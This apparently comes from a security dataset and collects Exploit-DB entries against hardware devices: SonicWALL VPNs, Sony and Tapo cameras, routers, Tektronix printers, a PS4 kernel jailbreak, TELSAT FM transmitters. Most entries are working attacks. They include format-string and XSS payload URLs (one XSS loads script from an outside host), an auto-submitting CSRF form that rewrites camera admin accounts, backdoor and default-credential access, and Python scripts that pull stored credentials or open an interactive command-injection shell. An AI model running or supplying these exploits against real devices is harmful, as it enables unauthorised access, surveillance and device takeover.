deardaniel/secdata-raw huggingface dataset:
Exploit-DB #33010
Description: SonicWALL Global VPN Client 4.0 - Log File Remote Format String
Type: remote
Platform: hardware
Date: 2009-05-26
Author: lofi42

Exploit:
source: https://www.securityfocus.com/bid/35093/info

SonicWALL Global VPN Client is prone to a remote format-string vulnerability because it fails to properly sanitize user-supplied input before passing it as the format specifier to a formatted-printing function.

Successfully exploiting this issue allows remote attackers to execute arbitrary machine code in the context of the application. Failed attempts may cause denial-of-service conditions.

Global VPN Client 4.0.0.2-51e Standard and Enhanced are vulnerable; other versions may also be affected. 

The following proofs of concept are available:

1. CFS: Add example.com to your "Forbidden Domains" and access http://www.example.com/%s%s%s%s%s%s/.

2. GroupVPN: Establish a GroupVPN Tunnel and enter at the XAUTH Username %s%s%s%s%s.

3. Webfrontend: Enter at the Login Page of your SonicWALL as Username %s%s%s%s%s
Exploit-DB #33016
Description: SonicWALL SSL-VPN - 'cgi-bin/welcome/VirtualOffice' Remote Format String
Type: remote
Platform: hardware
Date: 2009-05-29
Author: Patrick Webster

Exploit:
source: https://www.securityfocus.com/bid/35145/info

Multiple SonicWALL SSL-VPN devices are prone to a remote format-string vulnerability because they fail to properly sanitize user-supplied input before passing it as the format specifier to a formatted-printing function.

Attackers may exploit this issue to run arbitrary code in the context of the affected application. Failed attempts may cause denial-of-service conditions.

The following are vulnerable:

SSL-VPN 200 firmware prior to 3.0.0.9
SSL-VPN 2000 firmware prior to 3.5.0.5
SSL-VPN 4000 firmware prior to 3.5.0.5 


https://www.example.com/cgi-bin/welcome/VirtualOffice?err=ABCD%x%x%x
https://www.example.com/cgi-bin/welcome/VirtualOffice?err=%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x
https://www.example.com/cgi-bin/welcome/VirtualOffice?err=%n
Exploit-DB #38583
Description: Sony CH / DH Series IP Cameras - Multiple Cross-Site Request Forgery Vulnerabilities
Type: remote
Platform: hardware
Date: 2013-06-12
Author: Castillo

Exploit:
source: https://www.securityfocus.com/bid/60529/info

Sony CH and DH series IP cameras including SNCCH140, SNCCH180, SNCCH240, SNCCH280, SNCDH140, SNCDH140T, SNCDH180, SNCDH240, SNCDH240T, and SNCDH280 are prone to multiple cross-site request-forgery vulnerabilities.

Exploiting these issues may allow a remote attacker to perform certain unauthorized actions. This may lead to further attacks. 

<html>
<body>
  <form name="SonyCsRf" action="http://xx.xx.xx.xx/command/user.cgi" method="POST">
    <input type="Select" name="ViewerModeDefault" value="00000fff">
    <input type="Hidden" name="ViewerAuthen" value="off">
    <input type="Hidden" name="Administrator" value="YWRtaW46YWRtaW4=">
    <input type="Hidden" name="User1" value="xxxx,c0000fff">
    <input type="Hidden" name="User2" value="xxxx,c0000fff">
    <input type="Hidden" name="User3" value="dG1wdG1wOnRtcHRtcA==,c0000fff">
    <input type="Hidden" name="User4" value="Og==,00000fff">
    <input type="Hidden" name="User5" value="Og==,00000fff">
    <input type="Hidden" name="User6" value="Og==,00000fff">
    <input type="Hidden" name="User7" value="Og==,00000fff">
    <input type="Hidden" name="User8" value="Og==,00000fff">
    <input type="Hidden" name="User9" value="Og==,00000fff">
    <input type="Hidden" name="Reload" value="referer">
    <script>document.SonyCsRf.submit();</script>
 </form>
</body>
</html>
Exploit-DB #44196
Description: Sony Playstation 4 (PS4) 4.55 - 'Jailbreak' 'setAttributeNodeNS' WebKit 5.02 / 'bpf' Kernel Loader 4.55
Type: remote
Platform: hardware
Date: 2018-02-27
Author: Specter

Exploit:
# PS4 4.55 Kernel Exploit
---
## Summary
In this project you will find a full implementation of the "bpf" kernel exploit for the PlayStation 4 on 4.55. It will allow you to run arbitrary code as kernel, to allow jailbreaking and kernel-level modifications to the system. This release however, *does not* contain any code related to defeating anti-piracy mechanisms or running homebrew. This exploit does include a loader that listens for payloads on port `9020` and will execute them upon receival.

This bug was discovered by qwertyoruiopz, and can be found hosted on his website [here](http://crack.bargains/455/).

## Patches Included
The following patches are made by default in the kernel ROP chain:
1) Disable kernel write protection
2) Allow RWX (read-write-execute) memory mapping
3) Syscall instruction allowed anywhere
4) Dynamic Resolving (`sys_dynlib_dlsym`) allowed from any process
4) Custom system call #11 (`kexec()`) to execute arbitrary code in kernel mode
5) Allow unprivileged users to call `setuid(0)` successfully. Works as a status check, doubles as a privilege escalation.

## Notes
- Payloads from 4.05 should be fairly trivial to port unless they use hardcoded kernel offsets
- I've built in a patch so the kernel exploit will only run once on the system, you can make additional patches via payloads.
- A custom syscall is added (#11) to execute any RWX memory in kernel mode, this can be used to execute payloads that want to do fun things like jailbreaking and patching the kernel.


## Contributors
Massive credits to the following:

- [qwertyoruiopz](https://twitter.com/qwertyoruiopz)
- [Flatz](https://twitter.com/flat_z)
- Anonymous

Download: https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/44196-v2.zip
Exploit-DB #7055
Description: SpeedStream 5200 - Authentication Bypass Configuration Download
Type: remote
Platform: hardware
Date: 2008-11-07
Author: hkm

Exploit:
######################################################################################

 SpeedStream 5200 Authentication Bypass - hkm 12/10/2008
 (Server: NetPort Software 1.1)

 It is posible to bypass authentication by modifying the Host header.
 If you use a Host that is not the authentic one it will not require authentication.

 http://189.255.255.255./          -  This would bypass authentication too.
 http://189.255.255.255./x.cfg     -  This downloads the full router conifguration.


 hkm [ @ ] hakim.ws
______________________________________________________________________________________
######################################################################################

# milw0rm.com [2008-11-07]
Exploit-DB #33938
Description: Sterlite SAM300 AX Router - 'Stat_Radio' Cross-Site Scripting
Type: remote
Platform: hardware
Date: 2010-02-04
Author: Karn Ganeshen

Exploit:
source: https://www.securityfocus.com/bid/39928/info

The Sterlite SAM300 AX Router is prone to a cross-site scripting vulnerability because it fails to properly sanitize user-supplied input.

An attacker may leverage this issue to have arbitrary script code execute in the browser of an unsuspecting user in the context of the affected site. This may help the attacker steal cookie-based authentication credentials and launch other attacks. 

*+POST Request+*

POST http://192.168.1.1/Forms/status_statistics_1 HTTP/1.1
Host: 192.168.1.1
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9.1.7)
Gecko/20091221 Firefox/3.5.7 Paros/3.2.13
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-us,en;q=0.5
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 300
Proxy-Connection: keep-alive
Referer: http://192.168.1.1/status/status_statistics.htm
Authorization: Basic YWRtaW46YWRtaW4=
Content-Type: application/x-www-form-urlencoded
Content-length: 101

*+POST Parameters+*

Stat_Radio=%3CSCRIPT%20SRC%3Dhttp%3A%2F%2Fha.ckers.org
%2Fxss.js%3E%3C%2FSCRIPT%3E&StatRefresh=REFRESH

*+Impact+*
Exploit-DB #23764
Description: Symantec Gateway Security 5400 Series 2.0 - Error Page Cross-Site Scripting
Type: remote
Platform: hardware
Date: 2004-02-26
Author: Soby

Exploit:
source: https://www.securityfocus.com/bid/9755/info

A vulnerability has been reported to exist in the Symantec Gateway Security Web based management console that may allow a remote user to launch cross-site scripting attacks.

The issue is reported to exist due to improper sanitizing of user-supplied data. It has been reported that HTML and script code passed to the Symantec Gateway Security Web based management console via a specially crafted URI, may be incorporated into dynamic content of a server error page.

Successful exploitation of this vulnerability may allow an attacker to steal cookie-based authentication credentials. If an attacker manages to steal a cookie for a valid session, the attacker may leverage the vulnerability to gain management rights to the affected device. 

https://example.com:2456/sgmi/<script>badscript</script>
Exploit-DB #51107
Description: Tapo C310 RTSP server v1.3.0 - Unauthorised Video Stream Access
Type: remote
Platform: hardware
Date: 2023-03-28
Author: dsclee1

Exploit:
# Exploit Title: Tapo C310 RTSP server v1.3.0- Unauthorised Video Stream Access
# Date: 19th July 2022
# Exploit Author: dsclee1
# Vendor Homepage: tp-link.com
# Software Link: http://download.tplinkcloud.com/firmware/Tapo_C310v1_en_1.3.0_Build_220328_Rel.64283n_u_[PII_REDACTED]50.bin
# Version: 1.3.0
# Tested on: Linux – running on camera
# CVE : CVE-2022-37255

These Tapo cameras work via an app. There is a facility on the app to set up a “Camera Account”, which adds user details for the RTSP server. Unfortunately if you don’t set up the user details on versions 1.3.0 and below there are default login details. I sourced these from the “cet” binary on the camera.

You can gain unauthorised access to the RTSP stream using the following user details:

User: ---

[CREDENTIAL_REDACTED]
Exploit-DB #35620
Description: Technicolor THOMSON TG585v7 Wireless Router - 'url' Cross-Site Scripting
Type: remote
Platform: hardware
Date: 2011-04-15
Author: Edgard Chammas

Exploit:
source: https://www.securityfocus.com/bid/47390/info

Technicolor THOMSON TG585v7 Wireless Router is prone to a cross-site scripting vulnerability because the application fails to properly sanitize user-supplied input.

Attackers may exploit this issue by enticing victims into visiting a malicious site.

An attacker may leverage this issue to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected device. This may allow the attacker to steal cookie-based authentication credentials and to launch other attacks.

Firmware versions prior to 8.2.7.6 are vulnerable. 

http://www.example.com/cgi/b/ic/connect/?url=[XSS]
Exploit-DB #51720
Description: Techview LA-5570 Wireless Gateway Home Automation Controller - Multiple Vulnerabilities
Type: remote
Platform: hardware
Date: 2023-09-08
Author: The Security Team [exploitsecurity.io]

Exploit:
# Exploit Title: Techview LA-5570 Wireless Gateway Home Automation Controller - Multiple Vulnerabilities
# Google Dork: N/A
# Date: 25/08/2023
# Exploit Author: The Security Team [exploitsecurity.io<http://exploitsecurity.io>]
# Vendor Homepage: https://www.jaycar.com.au/wireless-gateway-home-automation-controller/p/LA5570
# Software Link: N/A
# Version: 1.0.19_T53
# Tested on: MACOS/Linux
# CVE : CVE-2023-34723
# POC Code Available: https://www.exploitsecurity.io/post/cve-2023-34723-cve-2023-34724-cve-2023-34725

#!/opt/homebrew/bin/python3

import requests
import sys
from time import sleep
from urllib3.exceptions import InsecureRequestWarning
from colorama import init
from colorama import Fore, Back, Style
import re
import os
import ipaddress
requests.packages.urllib3.disable_warnings(category=InsecureRequestWarning)

def banner():
    if os.name == 'posix':
        clr_cmd = ('clear')
    elif os.name == 'nt':
        clr_cmd = ('cls')
    os.system(clr_cmd)
    print ("[+]****************************************************[+]")
    print (" | Author      : The Security Team                      |")
    print (" | Company     : "+Fore.RED+ "Exploit Security" +Style.RESET_ALL+"\t\t\t|")
    print (" | Description : TechVIEW LA-5570 Directory Traversal   |")
    print (" | Usage       : "+sys.argv[0]+" <target>              |")   
    print ("[+]****************************************************[+]")

def usage():
    print (f"Usage: {sys.argv[0]} <target>")

def main(target):
    domain = "http://"+target+"/config/system.conf"
    try:
        url = domain.strip()
        r = requests.get(url, verify=False, timeout=3)
        print ("[+] Retrieving credentials", flush=True, end='')
        sleep(1)
        print(" .", flush=True, end='')
        sleep(1)
        print(" .", flush=True, end='')
        sleep(1)
        print(" .", flush=True, end='')
        if ("system_password" in r.text):
            data =  (r.text.split("\n"))
            print (f"\n{data[1]}")
        else:
            print (Fore.RED + "[!] Target is not vulnerable !"+ Style.RESET_ALL)
    except TimeoutError:
        print (Fore.RED + "[!] Timeout connecting to target !"+ Style.RESET_ALL)
    except KeyboardInterrupt:
        return
    except requests.exceptions.Timeout:
        print (Fore.RED + "[!] Timeout connecting to target !"+ Style.RESET_ALL)
        return
        
if __name__ == '__main__':
    if len(sys.argv)>1:
        banner()
        target = sys.argv[1]
        try:
            validate = ipaddress.ip_address(target)
            if (validate):
                main (target)
        except ValueError as e:
            print (Fore.RED + "[!] " + str(e) + " !" + Style.RESET_ALL) 
    else:
        print (Fore.RED + f"[+] Not enough arguments, please specify target !" + Style.RESET_ALL)
Exploit-DB #20806
Description: Tektronix Phaser 740/750/850/930 - Network Printer Administration Interface
Type: remote
Platform: hardware
Date: 2001-04-25
Author: Ltlw0lf

Exploit:
source: https://www.securityfocus.com/bid/2659/info

A remote vulnerability exists in Tektronix Phaser network printers in the 7xx, 8xx, and 9xx series.

An attacker with access to the printer's local network (or, if no firewall is in place, any attacker) can reach the printer's admin interface, supported by the inbuilt Tektronix PhaserLink webserver.

No authentication is applied to this connection. Arbitrary pages inside the printer's administration interface may be accessed by specifying the desired page in a querystring submitted to the PhaserLink webserver.

No password or other authentication method prevent arbitrary users from making use of this interface.

Using this method, an attacker can activate the printer's 'Emergency Power Off' feature.

This can lead to improper cooling of the ink/crayon reservoir, physically damaging the device.

* The vendor has reported that the printer properly handles 'Emergency Power Off' situations, and that physical damage is unachievable.

Submit http://printername/_ncl_items.shtml&SUBJECT=1

Select "Shutdown" option = "Emergency Power Off".
Exploit-DB #19632
Description: Tektronix Phaser Network Printer 740/750/750DP/840/930 PhaserLink WebServer - Retrieve Administrator Password
Type: remote
Platform: hardware
Date: 1999-11-17
Author: Dennis W. Mattison

Exploit:
source: https://www.securityfocus.com/bid/806/info


Certain versions of the Tektronix PhaserLink printer ship with a webserver designed to help facilitate configuration of the device. This service is essentially administrator level access as it can completely modify the system characteristics, restart the machine, asign services etc.

In at least one version of this printer there are a series of undocumented URL's which will allow remote users to retrieve the administrator password. Once the password is obtained by the user, they can manipulate the printer in any way they see fit.

To obtain the administrator password:

http://printername/ncl_items.html?SUBJECT=2097
Exploit-DB #50948
Description: Telesquare SDT-CW3B1 1.1.0 - OS Command Injection
Type: remote
Platform: hardware
Date: 2022-06-03
Author: Bryan Leong

Exploit:
#!/usr/bin/python3 

# Exploit Title: Telesquare SDT-CW3B1 1.1.0 - OS Command Injection
# Date: 24th May 2022
# Exploit Author: Bryan Leong <NobodyAtall>
# Vendor Homepage: http://telesquare.co.kr/
# CVE : CVE-2021-46422
# Authentication Required: No

import requests 
import argparse 
import sys
from xml.etree import ElementTree

def sysArgument():
	ap = argparse.ArgumentParser()
	ap.add_argument("--host", required=True, help="target hostname/IP")	
	args = vars(ap.parse_args())
	return args['host']

def checkHost(host):
	url = "http://" + host

	print("[*] Checking host is it alive?")

	try:
		rsl = requests.get(url) 
		print("[*] The host is alive.")
	except requests.exceptions.Timeout as err:
		raise SystemExit(err)

def exploit(host):
	url = "http://" + host + "/cgi-bin/admin.cgi?Command=sysCommand&Cmd=" 

	#checking does the CGI exists?
	rsl = requests.get(url)

	if(rsl.status_code == 200):
		print("[*] CGI script exist!")
		print("[*] Injecting some shell command.")

		#1st test injecting id command
		cmd = "id"

		try:
			rsl = requests.get(url + cmd, stream=True)
			xmlparser = ElementTree.iterparse(rsl.raw)

			cmdRet = []

			for event, elem in xmlparser:
				if(elem.tag == 'CmdResult'):
					cmdRet.append(elem.text)
		except:
			print("[!] No XML returned from CGI script. Possible not vulnerable to the exploit")
			sys.exit(0)

		if(len(cmdRet) != 0):
			print("[*] There's response from the CGI script!")
			print('[*] System ID: ' + cmdRet[0].strip())
			
			print("[*] Spawning shell. type .exit to exit the shell", end="\n\n")
			#start shell iteration
			while(True):
				cmdInput = input("[SDT-CW3B1 Shell]# ")

				if(cmdInput == ".exit"):
					print("[*] Exiting shell.")
					sys.exit(0)

				rsl = requests.get(url + cmdInput, stream=True)
				xmlparser = ElementTree.iterparse(rsl.raw)


				for event, elem in xmlparser:
					if(elem.tag == 'CmdResult'):
						print(elem.text.strip())

				print('\n')
				
		else:
			print("[!] Something doesn't looks right. Please check the request packet using burpsuite/wireshark/etc.")
			sys.exit(0)

	else:
		print("[!] CGI script not found.")
		print(rsl.status_code)
		sys.exit(0)

def main():
	host = sysArgument()

	checkHost(host)
	exploit(host)

if  __name__ == "__main__":
	main()
Exploit-DB #51907
Description: TELSAT marKoni FM Transmitter 1.9.5 - Backdoor Account Information Disclosure
Type: remote
Platform: hardware
Date: 2024-03-18
Author: LiquidWorm

Exploit:
TELSAT marKoni FM Transmitter 1.9.5 Backdoor Account


Vendor: TELSAT Srl
Product web page: https://www.markoni.it
Affected version: Markoni-D (Compact) FM Transmitters
                  Markoni-DH (Exciter+Amplifiers) FM Transmitters
                  Markoni-A (Analogue Modulator) FM Transmitters
                  Firmware: 1.9.5
                            1.9.3
                            1.5.9
                            1.4.6
                            1.3.9

Summary: Professional FM transmitters.

Desc: The transmitter has a hidden super administrative account 'factory'
that has the hardcoded password 'inokram25' that allows full access to
the web management interface configuration. The factory account is not
visible in the users page of the application and the password cannot be
changed through any normal operation of the device. The backdoor lies in
the /js_files/LogIn_local.js script file. Attackers could exploit this
vulnerability by logging in using the backdoor credentials for the web
panel gaining also additional functionalities including: unit configuration,
parameter modification, EEPROM overwrite, clearing DB, and factory log
modification.

Tested on: GNU/Linux 3.10.53 (armv7l)
           icorem6solox
           lighttpd/1.4.33


Vulnerability discovered by Gjoko 'LiquidWorm' Krstic
Macedonian Information Security Research and Development Laboratory
Zero Science Lab - https://www.zeroscience.mk - @zeroscience


Advisory ID: ZSL-2024-5809
Advisory URL: https://www.zeroscience.mk/en/vulnerabilities/ZSL-2024-5809.php
CWE ID: 912
CWE URL: https://cwe.mitre.org/data/definitions/912.html


10.11.2023

--


The credentials can be seen in the auto_login() JS function in the
unprotected /js_files/LogIn_local.js file:

$ curl -s http://10.0.8.3:88/js_files/LogIn_local.js |grep -A2 "auto_login()"

function auto_login() {     // @mod1
    var username = "factory";
    var [CREDENTIAL_REDACTED]";
$
Exploit-DB #51908
Description: TELSAT marKoni FM Transmitter 1.9.5 - Insecure Access Control Change Password
Type: remote
Platform: hardware
Date: 2024-03-18
Author: LiquidWorm

Exploit:
TELSAT marKoni FM Transmitter 1.9.5 Insecure Access Control Change Password


Vendor: TELSAT Srl
Product web page: https://www.markoni.it
Affected version: Markoni-D (Compact) FM Transmitters
                  Markoni-DH (Exciter+Amplifiers) FM Transmitters
                  Markoni-A (Analogue Modulator) FM Transmitters
                  Firmware: 1.9.5
                            1.9.3
                            1.5.9
                            1.4.6
                            1.3.9

Summary: Professional FM transmitters.

Desc: Unauthorized user could exploit this vulnerability to change
his/her password, potentially gaining unauthorized access to sensitive
information or performing actions beyond her/his designated permissions.

Tested on: GNU/Linux 3.10.53 (armv7l)
           icorem6solox
           lighttpd/1.4.33


Vulnerability discovered by Gjoko 'LiquidWorm' Krstic
Macedonian Information Security Research and Development Laboratory
Zero Science Lab - https://www.zeroscience.mk - @zeroscience


Advisory ID: ZSL-2024-5811
Advisory URL: https://www.zeroscience.mk/en/vulnerabilities/ZSL-2024-5811.php


10.11.2023

--


PoC request of a user changing his own password.
Only admin can edit users. No permissions or Cookie check.

$ curl -s -H "Cookie: name=user[PII_REDACTED]" \
http://10.0.8.3:88/cgi-bin/ekafcgi.fcgi?OpCode=4&username=user&[CREDENTIAL_REDACTED]=t00tw00t

HTTP/1.1 200 OK
Content-type: text/html
Cache-control: no-cache
Set-Cookie: name=user[PII_REDACTED]; max-age=315360000
Transfer-Encoding: chunked
Date: Sat, 9 Dec 2023 11:05:17 GMT
Server: lighttpd/1.4.33

oc=4&resp=0